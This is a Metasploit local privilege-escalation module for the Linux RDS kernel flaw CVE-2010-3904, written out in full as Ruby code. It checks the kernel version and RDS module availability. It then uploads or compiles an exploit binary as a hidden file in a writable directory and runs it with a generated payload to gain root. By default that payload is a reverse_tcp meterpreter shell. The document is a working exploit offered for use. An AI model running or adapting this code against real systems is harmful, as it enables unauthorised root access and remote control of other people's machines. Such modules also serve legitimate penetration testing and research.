vReliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Post::Linux::Compile  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Module::Deprecated  
  
moved_from 'exploit/linux/local/rds_priv_esc'  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Reliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in the `rds_page_copy_user` function  
in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8  
to execute code as root (CVE-2010-3904).  
  
This module has been tested successfully on:  
  
Fedora 13 (i686) kernel version 2.6.33.3-85.fc13.i686.PAE; and  
Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Dan Rosenberg', # Discovery and C exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => 'Oct 20 2010',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' =>  
[  
[ 'EDB', '15285' ],  
[ 'CVE', '2010-3904' ],  
[ 'BID', '44219' ],  
[ 'URL', 'https://securitytracker.com/id?1024613' ],  
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ],  
[ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ],  
[ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ],  
[ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ],  
],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',  
'WfsDelay' => 10,  
'PrependFork' => true  
},  
'Notes' =>  
{  
'AKA' => ['rds-fail.c'],  
'Reliability' => [ UNRELIABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'DefaultTarget' => 0))  
register_advanced_options [  
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def modules_disabled?  
modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip  
(modules_disabled.eql?('1') || modules_disabled.eql?('2'))  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def check  
version = kernel_release  
unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') &&  
Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37')  
return CheckCode::Safe("Linux kernel version #{version} is not vulnerable")  
end  
vprint_good "Linux kernel version #{version} appears to be vulnerable"  
  
unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets'  
return CheckCode::Safe('RDS kernel module is not available')  
end  
vprint_good 'RDS kernel module is available'  
  
if modules_disabled?  
unless cmd_exec('/sbin/lsmod').to_s.include? 'rds'  
return CheckCode::Safe('RDS kernel module is not loadable')  
end  
end  
vprint_good 'RDS kernel module is loadable'  
  
CheckCode::Appears  
end  
  
def exploit  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile executable_path, exploit_data('cve-2010-3904', 'rds-fail.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
arch = kernel_hardware  
case arch  
when /amd64|ia64|x86_64|x64/i  
upload_and_chmodx executable_path, exploit_data('cve-2010-3904', 'rds-fail.x64')  
when /x86|i[3456]86/  
upload_and_chmodx executable_path, exploit_data('cve-2010-3904', 'rds-fail.x86')  
else  
fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}"  
end  
end  
  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
print_status 'Launching exploit...'  
output = cmd_exec "#{executable_path} #{payload_path}"  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`